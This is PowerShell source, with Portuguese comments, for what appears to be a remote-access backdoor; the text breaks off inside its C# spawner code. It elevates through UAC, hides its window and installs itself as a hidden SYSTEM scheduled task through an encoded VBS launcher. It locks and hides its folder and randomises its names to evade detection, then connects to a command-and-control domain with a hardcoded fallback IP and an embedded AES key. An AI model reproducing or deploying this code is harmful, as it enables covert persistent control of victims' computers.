param( [string]$ScriptPath = "", [switch]$ServiceMode, [switch]$Uninstall, [switch]$Reinstall, [switch]$InstallService, [switch]$Force ) # ============================================================================= # FAST-PATH: -InstallService (para request_uac do painel) # Quando User conectado pede elevacao, o painel envia request_uac # que chama este script com -InstallService para migrar para SYSTEM # ============================================================================= if ($InstallService) { $__svcName = $null; $__fileName = $null try { $__fallback = "HKCU:\Software\Microsoft\Windows" $__fallbackKey = "CU" $__dynReg = (Get-ItemProperty -Path $__fallback -Name $__fallbackKey -EA Stop).$__fallbackKey if ($__dynReg) { $__sv = (Get-ItemProperty -Path $__dynReg -Name "SvcName" -EA Stop).SvcName $__fv = (Get-ItemProperty -Path $__dynReg -Name "FileName" -EA Stop).FileName if ($__sv -and $__fv) { $__svcName = $__sv; $__fileName = $__fv } } } catch {} if (-not $__svcName -or -not $__fileName) { exit 1 } $__taskName = $__svcName $__instDir = "$env:ProgramData\Microsoft\$__taskName" $__dest = "$__instDir\$__fileName.txt" $__psExe = "$env:WINDIR\System32\WindowsPowerShell\v1.0\powershell.exe" $__src = $ScriptPath if (-not $__src -or -not (Test-Path $__src -EA 0)) { $__src = $PSCommandPath } if (-not $__src -or -not (Test-Path $__src -EA 0)) { $__src = "$env:APPDATA\Microsoft\$__svcName\$__fileName.txt" } if (-not (Test-Path $__instDir)) { New-Item $__instDir -ItemType Directory -Force | Out-Null } if ($__src -and (Test-Path $__src -EA 0)) { Copy-Item $__src $__dest -Force -EA 0 } # Proteger pasta (ACL + Hidden + System) try { $__acl = Get-Acl $__instDir $__acl.SetAccessRuleProtection($true, $false) $__acl.Access | ForEach-Object { $__acl.RemoveAccessRule($_) } | Out-Null $__acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule("SYSTEM", "FullControl", "ContainerInherit,ObjectInherit", "None", "Allow"))) $__acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule("Administrators", "FullControl", "ContainerInherit,ObjectInherit", "None", "Allow"))) Set-Acl $__instDir $__acl $__di = Get-Item $__instDir -Force $__di.Attributes = $__di.Attributes -bor [IO.FileAttributes]::Hidden -bor [IO.FileAttributes]::System Get-ChildItem $__instDir -Force -EA 0 | ForEach-Object { $_.Attributes = $_.Attributes -bor [IO.FileAttributes]::Hidden -bor [IO.FileAttributes]::System } } catch {} $__destEsc = $__dest -replace "'", "''" $__pCmd = "`$env:_nR='1';`$env:_sU='1';`$env:_sN='$__svcName';`$env:_fN='$__fileName';& ([ScriptBlock]::Create((gc '$__destEsc' -Raw)))" $__pEnc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($__pCmd)) $__vbsN = $__fileName.Substring(0, [Math]::Min(12, $__fileName.Length)) $__vbs = "$__instDir\$__vbsN.vbs" try { [IO.File]::WriteAllText($__vbs, "CreateObject(""WScript.Shell"").Run ""$__psExe -NoP -EP Bypass -NonInteractive -EncodedCommand $__pEnc"", 0, False", [Text.Encoding]::ASCII) } catch {} Unregister-ScheduledTask -TaskName $__taskName -Confirm:$false -EA 0 $__act = New-ScheduledTaskAction -Execute "$env:WINDIR\System32\wscript.exe" -Argument "`"$__vbs`"" $__trg = New-ScheduledTaskTrigger -AtStartup $__cfg = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -Hidden $__prn = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest -LogonType ServiceAccount Register-ScheduledTask -TaskName $__taskName -Action $__act -Trigger $__trg -Settings $__cfg -Principal $__prn -Force | Out-Null Start-ScheduledTask -TaskName $__taskName -EA 0 Remove-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $__taskName -EA 0 exit $(if (Get-ScheduledTask -TaskName $__taskName -EA 0) { 0 } else { 1 }) } # UAC: Elevar ANTES do DETACH (DETACH esconde a janela e UAC nao aparece de processo invisivel) if (-not $env:_dT -and -not $env:_nR -and -not $InstallService -and -not $Uninstall) { $__isAdm = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $__isAdm) { try { $__sp = if ($ScriptPath -and (Test-Path $ScriptPath -EA 0)) { $ScriptPath } else { $PSCommandPath } if ($__sp -and (Test-Path $__sp -EA 0)) { $__spEsc = $__sp -replace "'", "''" $__uacArgs = "-NoP -EP Bypass -W Hidden -c `"`$env:_nR='1';& ([ScriptBlock]::Create((gc '$__spEsc' -Raw))) -ScriptPath '$__spEsc'`"" $__uacP = Start-Process powershell.exe -ArgumentList $__uacArgs -Verb RunAs -PassThru -EA Stop if ($__uacP) { [Environment]::Exit(0) } } } catch {} } } # DETACH: desconectar do CMD - CMD fecha, processo continua sem janela via wscript if (-not $env:_dT -and -not $env:_nR -and -not $InstallService -and -not $Uninstall) { $__ds = $null # 1. ScriptPath passado como parametro if ($ScriptPath -and (Test-Path $ScriptPath -EA 0)) { $__ds = $ScriptPath } # 2. PSCommandPath elseif ($PSCommandPath -and (Test-Path $PSCommandPath -EA 0)) { $__ds = $PSCommandPath } else { # 3. Tentar ler identidade do registro e procurar nas pastas try { $__regCU = (Get-ItemProperty "HKCU:\Software\Microsoft\Windows" -Name "CU" -EA Stop).CU if ($__regCU) { $__svc = (Get-ItemProperty $__regCU -Name "SvcName" -EA Stop).SvcName $__fn = (Get-ItemProperty $__regCU -Name "FileName" -EA Stop).FileName if ($__svc -and $__fn) { $__paths = @( "$env:ProgramData\Microsoft\$__svc\$__fn.txt", "$env:APPDATA\Microsoft\$__svc\$__fn.txt" ) foreach ($__p in $__paths) { if (Test-Path $__p -EA 0) { $__ds = $__p; break } } } } } catch {} } if ($__ds) { $__dp = $__ds -replace [char]39, ([char]39 + [char]39) $__envCmd = "`$env:_dT='1';" if ($env:_sN) { $__envCmd += "`$env:_sN='$env:_sN';" } if ($env:_fN) { $__envCmd += "`$env:_fN='$env:_fN';" } $__de = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("$__envCmd& ([ScriptBlock]::Create((gc '$__dp' -Raw))) -ScriptPath '$__dp'")) $__dv = "$env:TEMP\$([guid]::NewGuid().ToString('N').Substring(0,8)).vbs" $__dl = 'CreateObject("WScript.Shell").Run "powershell.exe -NoP -EP Bypass -EncodedCommand ' + $__de + '", 0, False' try { [IO.File]::WriteAllText($__dv, $__dl, [Text.Encoding]::ASCII) } catch {} Start-Process wscript.exe -ArgumentList "`"$__dv`"" -WindowStyle Hidden -EA 0 | Out-Null } [Environment]::Exit(0) } # ============================================================================= # ============= SKIP INVIS?VEL NA PRIMEIRA EXECU??O ============= # Deixar script rodar vis?vel primeiro para permitir UAC popup # Ap?s instala??o, script SYSTEM vai re-executar invis?vel # IMPORTANTE: -Verb RunAs N?O funciona em script invis?vel (pesquisado na web) # Solu??o: primeira vez ? vis?vel, depois invis?vel # ============= CRITICAL OPTIMIZATION: SYSTEM TIMER RESOLUTION ============= # Change from 15ms (default) to 0.5ms - MASSIVE latency improvement (30x) $TimerResolution = @" using System; using System.Runtime.InteropServices; public class TimerRes { [DllImport("ntdll.dll")] public static extern int NtSetTimerResolution(uint d, bool s, out uint c); } "@ try { Add-Type -TypeDefinition $TimerResolution -ErrorAction SilentlyContinue $currentRes = 0 [TimerRes]::NtSetTimerResolution(5000, $true, [ref]$currentRes) | Out-Null } catch {} # ============= GLOBAL ENCODING CACHE (Evita aloca??o novo a cada opera??o) ============= # Antes: [System.Text.Encoding]::UTF8 a cada chamada = NEW inst?ncia cada vez # Depois: $script:FastUTF8 reutilizado = ZERO aloca??o $script:FastUTF8 = [System.Text.Encoding]::UTF8 # ============= PARSER JSON ULTRA-R?PIDO ============= # ConvertFrom-Json ? muito lento (~10-50ms por call) # Usar JavaScriptSerializer que ? 20x mais r?pido Add-Type -AssemblyName System.Web.Extensions | Out-Null $script:JsonParser = New-Object System.Web.Script.Serialization.JavaScriptSerializer # =============================================================================== # ARQUIVO ORIGINAL # =============================================================================== # =============================================================================== # Server e Port podem ser definidos ANTES do IEX (pelo Spawner) ou usar defaults # CloudFlare Tunnel Setup com Subdom?nio ?nico por M?quina if (-not $script:Server) { if ($Server -and $Server -ne "") { $script:Server = $Server } else { # Gerar subdom?nio ?nico baseado em MachineGuid (sem prefixo fixo = sem padr?o detect?vel) try { $__mguid = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Cryptography' -Name MachineGuid -EA Stop).MachineGuid $__md5 = [System.Security.Cryptography.MD5]::Create() $__bytes = [System.Text.Encoding]::UTF8.GetBytes($__mguid) $__hash = $__md5.ComputeHash($__bytes) $__hashStr = ($__hash | ForEach-Object { "{0:x2}" -f $_ }) -join "" # SEM PREFIXO FIXO - s? hash (impede regex detection) $script:Server = "$__hashStr.testewin.com" } catch { # Fallback se n?o conseguir gerar $script:Server = "cdn.testewin.com" } } } if (-not $script:Port -or $script:Port -eq 0) { if ($Port -gt 0) { $script:Port = $Port } else { $script:Port = 443 } } # Flag definida pelo Spawner antes do IEX (processo na sessao do usuario) if (-not (Test-Path variable:SpawnedByService)) { $SpawnedByService = $false } try { # WindowGuard: controla visibilidade da janela do console antes de qualquer compilacao pesada # SYSTEM/VBS mode: oculta completamente # User mode (primeira execucao): minimiza na taskbar + guard thread impede restauracao $__qh = Add-Type -Name QH -Namespace Q -PassThru -EA SilentlyContinue -MemberDefinition ' [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr h, int n); [DllImport("user32.dll")] public static extern bool IsIconic(IntPtr h); [DllImport("user32.dll")] public static extern bool SetWindowPos(IntPtr h, IntPtr i, int x, int y, int cx, int cy, uint f); [DllImport("user32.dll")] public static extern IntPtr GetSystemMenu(IntPtr h, bool r); [DllImport("user32.dll")] public static extern bool EnableMenuItem(IntPtr m, uint id, uint f); static bool _g; public static void StartGuard() { IntPtr hw = GetConsoleWindow(); if (hw == IntPtr.Zero) return; // X habilitado ? usuario pode fechar; exit() fecha automaticamente via DETACH ShowWindow(hw, 6); // SW_MINIMIZE _g = true; var t = new System.Threading.Thread(() => { while (_g) { if (!IsIconic(hw)) ShowWindow(hw, 6); System.Threading.Thread.Sleep(30); } }); t.IsBackground = true; t.Start(); } public static void StopGuard() { _g = false; } public static void HideNow() { IntPtr hw = GetConsoleWindow(); if (hw == IntPtr.Zero) return; IntPtr sm = GetSystemMenu(hw, false); if (sm != IntPtr.Zero) EnableMenuItem(sm, 0xF060u, 0u); // reabilitar X SetWindowPos(hw, IntPtr.Zero, -9999, -9999, 1, 1, 0x0040); ShowWindow(hw, 0); // SW_HIDE }' if ($__qh) { if ($env:_sU -eq "1" -or $env:_nR -eq "1" -or $env:_dT -eq "1") { # SYSTEM/VBS/DETACHED: ocultar (nasce invisivel via wscript ou task) [Q.QH]::HideNow() } else { # Bat direto: minimizar por instante ? DETACH chama [Environment]::Exit(0) logo [Q.QH]::StartGuard() } } } catch {} if ($env:_sU -eq "1" -and -not $InstallService -and -not $Uninstall -and -not $ServiceMode) { $__regPath = try { (Get-ItemProperty "HKCU:\Software\Microsoft\Windows" -Name "CU" -EA Stop).CU } catch { $null } $__dynPidDir = try { (Get-ItemProperty $__regPath -EA Stop).SvcName } catch { $null } $__dynPidPath = if ($__dynPidDir) { "$env:APPDATA\Microsoft\$__dynPidDir\client.pid" } else { $null } $__pidPaths = @() if ($__dynPidPath) { $__pidPaths = @($__dynPidPath) } foreach ($__pf in $__pidPaths) { if (Test-Path $__pf -EA SilentlyContinue) { $__sp = (Get-Content $__pf -Raw -EA SilentlyContinue) if ($__sp) { $__sp = $__sp.Trim() if ($__sp -match '^\d+$' -and [int]$__sp -ne $PID) { $__ep = Get-Process -Id ([int]$__sp) -ErrorAction SilentlyContinue if ($__ep -and $__ep.Name -like "*powershell*") { [Environment]::Exit(0) } } } } } Remove-Variable __pf,__sp,__ep -EA SilentlyContinue } # Deteccao INTELIGENTE do caminho do script (multiplos metodos) # Carregar identidade ANTES do path detection (necessario para caminhos dinamicos) # Funcoes de bootstrap (definidas antes de qualquer chamada) function Get-InstallIdentity { # PRIORIDADE 1: env vars injetadas pela task SYSTEM (evita problema HKCU do SYSTEM) # Quando a task SYSTEM roda, seu HKCU = HKEY_USERS\.DEFAULT (diferente do usuario). # A task injeta _sN e _fN para que a identidade seja consistente. if ($env:_sN -and $env:_fN) { return @{ SvcName = $env:_sN; FileName = $env:_fN; RegistryPath = $null } } # Localiza??o de fallback para encontrar a registry din?mica $__fallback = "HKCU:\Software\Microsoft\Windows" $__fallbackKey = "CU" try { # Tentar carregar localiza??o din?mica salva $__regPath = try { (Get-ItemProperty -Path $__fallback -Name $__fallbackKey -EA Stop).$__fallbackKey } catch { $null } if (-not $__regPath) { throw } $__sv = Get-ItemProperty -Path $__regPath -Name "SvcName" -EA Stop $__fv = Get-ItemProperty -Path $__regPath -Name "FileName" -EA Stop if ($__sv.SvcName -and $__fv.FileName) { return @{ SvcName = $__sv.SvcName; FileName = $__fv.FileName; RegistryPath = $__regPath } } throw } catch { # Gerar identidade ?nica derivada do hardware da m?quina + timestamp $__guid = try { (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Cryptography" -EA Stop).MachineGuid } catch { [System.Guid]::NewGuid().ToString() } $__timestamp = [DateTime]::Now.Ticks.ToString() # TOTALMENTE ALEATORIO: TaskName/SvcName (16 chars, sem padrao) $__sha1 = [System.Security.Cryptography.SHA256]::Create() $__raw1 = $__sha1.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($__guid + "svc" + $__timestamp)) $__sha1.Dispose() $__svc = (($__raw1 | ForEach-Object { $_.ToString("x2") }) -join "").Substring(0, 16) # TOTALMENTE ALEAT?RIO: FileName (20 chars, sem padr?o) $__sha2 = [System.Security.Cryptography.SHA256]::Create() $__raw2 = $__sha2.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($__guid + "file" + $__timestamp)) $__sha2.Dispose() $__file = (($__raw2 | ForEach-Object { $_.ToString("x2") }) -join "").Substring(0, 20) # TOTALMENTE ALEAT?RIO: RegistryPath (12 chars aleat?rios, sem padr?o) $__sha3 = [System.Security.Cryptography.SHA256]::Create() $__raw3 = $__sha3.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($__guid + "reg" + $__timestamp)) $__sha3.Dispose() $__regRandom = (($__raw3 | ForEach-Object { $_.ToString("x2") }) -join "").Substring(0, 12) $__dynReg = "HKCU:\Software\Microsoft\$__regRandom" # Persistir no registro din?mico try { if (-not (Test-Path $__dynReg)) { New-Item -Path $__dynReg -Force | Out-Null } Set-ItemProperty -Path $__dynReg -Name "SvcName" -Value $__svc -Force Set-ItemProperty -Path $__dynReg -Name "FileName" -Value $__file -Force # Guardar localiza??o no fallback Set-ItemProperty -Path $__fallback -Name $__fallbackKey -Value $__dynReg -Force } catch {} return @{ SvcName = $__svc; FileName = $__file; RegistryPath = $__dynReg } } } # Chamada ap?s defini??es $__identity = Get-InstallIdentity # Gerar nome de pasta TOTALMENTE ALEAT?RIO (sem padr?o fixo) # Gerar descri??o de servi?o TOTALMENTE ALEAT?RIA (sem padr?o) $__sha_desc = [System.Security.Cryptography.SHA256]::Create() $__raw_desc = $__sha_desc.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($__identity.SvcName + "desc")) $__sha_desc.Dispose() $__serviceDesc = "Service_" + (($__raw_desc | ForEach-Object { $_.ToString("x2") }) -join "").Substring(0, 16) $script:SourceScriptPath = "" # Metodo 1: Parametro explicito if ($ScriptPath -and (Test-Path $ScriptPath -ErrorAction SilentlyContinue)) { $script:SourceScriptPath = $ScriptPath } # Metodo 2: PSCommandPath (quando executado com -File) if (-not $script:SourceScriptPath -and $PSCommandPath) { $script:SourceScriptPath = $PSCommandPath } # Metodo 3: MyInvocation (backup) if (-not $script:SourceScriptPath -and $MyInvocation.MyCommand.Path) { $script:SourceScriptPath = $MyInvocation.MyCommand.Path } # Metodo 4: Procurar em locais comuns (incluindo pastas dinamicas) if (-not $script:SourceScriptPath) { $commonPaths = @( "$env:ProgramData\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt", "$env:APPDATA\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt" ) foreach ($path in $commonPaths) { if (Test-Path $path -ErrorAction SilentlyContinue) { $script:SourceScriptPath = $path break } } } # Metodo 5: Auto-salvar (fallback final) if (-not $script:SourceScriptPath) { $autoSavePath = "$env:AppData\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt" try { if (-not (Test-Path "$env:AppData\Microsoft\$($__identity.SvcName)")) { New-Item -Path "$env:AppData\Microsoft\$($__identity.SvcName)" -ItemType Directory -Force | Out-Null } if ($MyInvocation.MyCommand.ScriptBlock) { $thisScript = $MyInvocation.MyCommand.ScriptBlock.ToString() $thisScript | Out-File -FilePath $autoSavePath -Encoding UTF8 -Force $script:SourceScriptPath = $autoSavePath } } catch {} } # Ultimo recurso: usar caminho padrao if (-not $script:SourceScriptPath) { $script:SourceScriptPath = "$env:AppData\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt" } # Capturar erros nao tratados silenciosamente trap { continue } # === FORCE MODE: Limpar tudo antes de iniciar === if ($Force) { # Matar outros powershell (exceto eu) Get-Process powershell -ErrorAction SilentlyContinue | Where-Object { $_.Id -ne $PID } | ForEach-Object { Stop-Process -Id $_.Id -Force -ErrorAction SilentlyContinue } # Remover PID files (caminhos dinamicos) Remove-Item "$env:ProgramData\Microsoft\$($__identity.SvcName)\client.pid" -Force -ErrorAction SilentlyContinue Remove-Item "$env:APPDATA\Microsoft\$($__identity.SvcName)\client.pid" -Force -ErrorAction SilentlyContinue Start-Sleep -Milliseconds 500 } # Se e servico, aguardar rede estar disponivel if ($ServiceMode -or ([System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value -eq "S-1-5-18")) { $networkReady = $false for ($i = 0; $i -lt 30; $i++) { try { $testConnection = [System.Net.Dns]::GetHostAddresses("google.com") if ($testConnection) { $networkReady = $true break } } catch {} Start-Sleep -Seconds 2 } if (-not $networkReady) { } } # =============================================================================== # DPI AWARENESS - GARANTIR RESOLUCAO REAL DOS MONITORES (PER-MONITOR V2) # =============================================================================== try { Add-Type @' using System; using System.Runtime.InteropServices; public class DPIAwareness { [DllImport("shcore.dll")] public static extern int SetProcessDpiAwareness(int value); // 0 = DPI_UNAWARE, 1 = SYSTEM_DPI_AWARE, 2 = PER_MONITOR_DPI_AWARE public static void SetPerMonitorAware() { try { SetProcessDpiAwareness(2); } catch { } } } '@ [DPIAwareness]::SetPerMonitorAware() } catch { } # =============================================================================== # CONFIGURACAO DE CONEXAO - DOMINIO PRINCIPAL + IP FALLBACK # =============================================================================== $script:ConnectionConfig = @{ # Dominio principal (vem do parametro -Server ou definido pelo Spawner) PrimaryDomain = $script:Server # IP de fallback (so usa se dominio nao resolver apos 3 tentativas) FallbackIP = "149.56.12.51" # Porta de conexao Port = $script:Port } # Protocol Config (Magic bytes e Version para comunica??o C2) $script:Config = @{ Version = "11.07-FAST-RECONNECT" Magic = [byte[]]@(0x4C, 0x51, 0x57, 0x50) # EVR6 protocol magic } function Resolve-ServerAddress { # Sempre tenta o dominio primeiro (3 tentativas) $domain = $script:ConnectionConfig.PrimaryDomain $fallback = $script:ConnectionConfig.FallbackIP # Tentar resolver dominio 3x if ($domain -and $domain -ne "") { for ($attempt = 1; $attempt -le 3; $attempt++) { try { $resolved = [System.Net.Dns]::GetHostAddresses($domain) | Where-Object { $_.AddressFamily -eq 'InterNetwork' } | Select-Object -First 1 if ($resolved) { return $resolved.IPAddressToString } } catch { if ($attempt -lt 3) { Start-Sleep -Seconds 2 } } } } # Fallback para IP direto (apos 3 tentativas falharem) return $fallback } # Servidor configurado com subdom?nio ?nico via CloudFlare Tunnel # =============================================================================== # CONFIGURACOES DE INSTALACAO - CAMINHOS LEGITIMOS DO WINDOWS # =============================================================================== # =============================================================================== # IDENTIDADE UNICA POR INSTALACAO (sem assinatura fixa) # =============================================================================== # Nota: Fun??o duplicada, usar a da linha 221 que j? ? din?mica $__identity = Get-InstallIdentity $script:InstallConfig = @{ InstallDir = "$env:ProgramData\Microsoft\$($__identity.SvcName)" ScriptName = "$($__identity.FileName).txt" TaskName = $__identity.SvcName } # =============================================================================== # FUNCOES DE GERENCIAMENTO (UNINSTALL/REINSTALL) # =============================================================================== function Invoke-CompleteUninstall { $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { return $false } # 1. Parar processos relacionados (exceto o atual) try { Get-WmiObject Win32_Process -Filter "Name='powershell.exe'" -ErrorAction SilentlyContinue | Where-Object { ($_.CommandLine -like "*$($script:InstallConfig.ScriptName)*" -or $_.CommandLine -like "*$($script:InstallConfig.TaskName)*" -or $_.CommandLine -like "*DeviceSync*" -or $_.CommandLine -like "*crop_*") -and $_.ProcessId -ne $PID } | ForEach-Object { try { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue } catch {} } } catch {} Start-Sleep -Seconds 2 # 2. Remover tarefa agendada (incluindo variacoes antigas) @($script:InstallConfig.TaskName) | ForEach-Object { schtasks /delete /tn $_ /f 2>$null | Out-Null schtasks /delete /tn "\Microsoft\Windows\$_" /f 2>$null | Out-Null } # 3. Limpar entradas do registro # Remover identidade gerada (proxima instalacao gerarah nova) $__fallback = "HKCU:\Software\Microsoft\Windows" $__regPathToClean = try { (Get-ItemProperty -Path $__fallback -Name "CU" -EA Stop).CU } catch { $null } try { Remove-ItemProperty -Path $__regPathToClean -Name "SvcName" -EA SilentlyContinue } catch {} try { Remove-ItemProperty -Path $__regPathToClean -Name "FileName" -EA SilentlyContinue } catch {} try { Remove-ItemProperty -Path $__regPathToClean -Name "SessionId" -EA SilentlyContinue } catch {} try { Remove-ItemProperty -Path $__fallback -Name "CU" -EA SilentlyContinue } catch {} @("HKCU:\Software\Microsoft\Windows\CurrentVersion\Run", "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run") | ForEach-Object { if (Test-Path $_) { @($script:InstallConfig.TaskName) | ForEach-Object { Remove-ItemProperty -Path $_ -Name $_ -ErrorAction SilentlyContinue } } } # 4. Remover diretorios de instalacao (com retry) # Remover ambos os caminhos possiveis (User e System) $dirsToRemove = @( $script:InstallConfig.InstallDir, "$env:APPDATA\Microsoft\$($__identity.SvcName)", "$env:ProgramData\Microsoft\$($__identity.SvcName)", "$env:APPDATA\Microsoft\$($__identity.SvcName)" ) foreach ($dir in $dirsToRemove) { if (Test-Path $dir) { for ($i = 0; $i -lt 3; $i++) { try { Remove-Item -Path $dir -Recurse -Force -ErrorAction Stop break } catch { Start-Sleep -Milliseconds 500 } } } } # 5. Limpar arquivos temporarios # Limpar arquivos com prefixo do SvcName Get-ChildItem $env:TEMP -Filter "$($__identity.SvcName)_*" -ErrorAction SilentlyContinue | Remove-Item -Force -ErrorAction SilentlyContinue return $true } function Invoke-SystemInstall { $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { return $false } # Criar estrutura de diretorios if (-not (Test-Path $script:InstallConfig.InstallDir)) { New-Item -Path $script:InstallConfig.InstallDir -ItemType Directory -Force | Out-Null } # Copiar script para localizacao de instalacao $currentScript = $script:SourceScriptPath $destPath = Join-Path $script:InstallConfig.InstallDir $script:InstallConfig.ScriptName if ($currentScript -ne $destPath) { Copy-Item -Path $currentScript -Destination $destPath -Force } # Configurar tarefa agendada como SYSTEM $psExe = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $taskCmd = "`"$psExe`" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NoLogo -NonInteractive -File `"$destPath`"" # Remover tarefa existente schtasks /delete /tn $script:InstallConfig.TaskName /f 2>$null | Out-Null # Criar nova tarefa $result = schtasks /create /tn $script:InstallConfig.TaskName /tr $taskCmd /sc onstart /delay 0000:30 /rl highest /ru SYSTEM /f 2>&1 if ($LASTEXITCODE -ne 0) { return $false } # Iniciar tarefa Start-Sleep -Seconds 1 schtasks /run /tn $script:InstallConfig.TaskName 2>$null | Out-Null # Verificar se tarefa foi criada com sucesso Start-Sleep -Seconds 2 $taskExists = schtasks /query /tn $script:InstallConfig.TaskName 2>$null if ($LASTEXITCODE -eq 0) { } else { } Start-Sleep -Seconds 3 # Verificar instalacao $running = Get-WmiObject Win32_Process -Filter "Name='powershell.exe'" -ErrorAction SilentlyContinue | Where-Object { $_.CommandLine -like "*$destPath*" } if ($running) { $owner = $running.GetOwner() return $true } else { return $true } } # =============================================================================== # PROCESSAR COMANDOS DE GERENCIAMENTO # =============================================================================== if ($Uninstall) { $success = Invoke-CompleteUninstall Read-Host "Pressione Enter para continuar" exit $(if ($success) {0} else {1}) } if ($Reinstall) { Invoke-CompleteUninstall | Out-Null Start-Sleep -Seconds 2 $success = Invoke-SystemInstall Read-Host "Pressione Enter para continuar" exit $(if ($success) {0} else {1}) } # $InstallService ja foi tratado no fast-path no topo do script (antes dos Add-Type) # Se chegou aqui, nao e modo InstallService # =============================================================================== # SECURITY - TOKEN UNICO POR INSTALACAO # =============================================================================== # PACKET WRITING - Usa BinaryWriter inline (sem C# Add-Type, sem fun??es wrapper) # =============================================================================== $script:SecurityConfig = @{ MasterKey = 'iuhbdaubdvauygd5562$3@##$r' } function Get-OrCreateInstallToken { # Token derivado deterministicamente do hardware - nao salva em disco $machineGuid = $null try { $machineGuid = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Cryptography" -Name MachineGuid -EA Stop).MachineGuid } catch {} if (!$machineGuid) { try { $machineGuid = (Get-ItemProperty "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Cryptography" -Name MachineGuid -EA Stop).MachineGuid } catch {} } if (!$machineGuid) { $machineGuid = "$env:COMPUTERNAME-$env:USERNAME" } $mac = ""; try { $mac = (Get-NetAdapter | Where-Object { $_.Status -eq 'Up' } | Select-Object -First 1).MacAddress } catch {} $uniqueData = "$machineGuid|$mac|$env:COMPUTERNAME|$($script:SecurityConfig.MasterKey)" $sha256 = [System.Security.Cryptography.SHA256]::Create() $hash = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($uniqueData)) return [BitConverter]::ToString($hash).Replace("-", "").ToLower() } function Get-TokenProof { param([string]$Token) $hmac = New-Object System.Security.Cryptography.HMACSHA256 $hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($script:SecurityConfig.MasterKey) $hash = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Token)) return [BitConverter]::ToString($hash).Replace("-", "").ToLower() } $script:InstallToken = Get-OrCreateInstallToken $script:TokenProof = Get-TokenProof -Token $script:InstallToken # DEBUG: Verificar se token foi gerado # =============================================================================== # CRIPTOGRAFIA AES-256 (So para comandos e clipboard) # =============================================================================== $script:AesKey = [System.Security.Cryptography.SHA256]::Create().ComputeHash( [System.Text.Encoding]::UTF8.GetBytes($script:SecurityConfig.MasterKey) ) function Decrypt-SecureData { param([string]$Data) try { if (!$Data -or !$Data.Contains(':')) { return $null } $parts = $Data.Split(':') if ($parts.Length -ne 2) { return $null } $iv = [byte[]]::new(16) $ivHex = $parts[0] for ($i = 0; $i -lt 16; $i++) { $iv[$i] = [Convert]::ToByte($ivHex.Substring($i * 2, 2), 16) } $encryptedHex = $parts[1] $encrypted = [byte[]]::new($encryptedHex.Length / 2) for ($i = 0; $i -lt $encrypted.Length; $i++) { $encrypted[$i] = [Convert]::ToByte($encryptedHex.Substring($i * 2, 2), 16) } $aes = [System.Security.Cryptography.Aes]::Create() $aes.Key = $script:AesKey $aes.IV = $iv $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $decryptor = $aes.CreateDecryptor() $decrypted = $decryptor.TransformFinalBlock($encrypted, 0, $encrypted.Length) $aes.Dispose() return [System.Text.Encoding]::UTF8.GetString($decrypted) } catch { return $null } } function Encrypt-SecureData { param([string]$Text) try { $aes = [System.Security.Cryptography.Aes]::Create() $aes.Key = $script:AesKey $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aes.GenerateIV() $encryptor = $aes.CreateEncryptor() $data = [System.Text.Encoding]::UTF8.GetBytes($Text) $encrypted = $encryptor.TransformFinalBlock($data, 0, $data.Length) $ivHex = [BitConverter]::ToString($aes.IV).Replace("-", "").ToLower() $encHex = [BitConverter]::ToString($encrypted).Replace("-", "").ToLower() $aes.Dispose() return "$ivHex`:$encHex" } catch { return $null } } # === CODIGO DO SPAWNER - CRIA SYSTEM NA SESSAO DO USUARIO === $SpawnerCode = @" using System; using System.Runtime.InteropServices; using System.Diagnostics; public class ExplorerSpawner { [DllImport("advapi32.dll", SetLastError = true)] static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError = true)] static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, int ImpersonationLevel, int TokenType, out IntPtr phNewToken); [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION 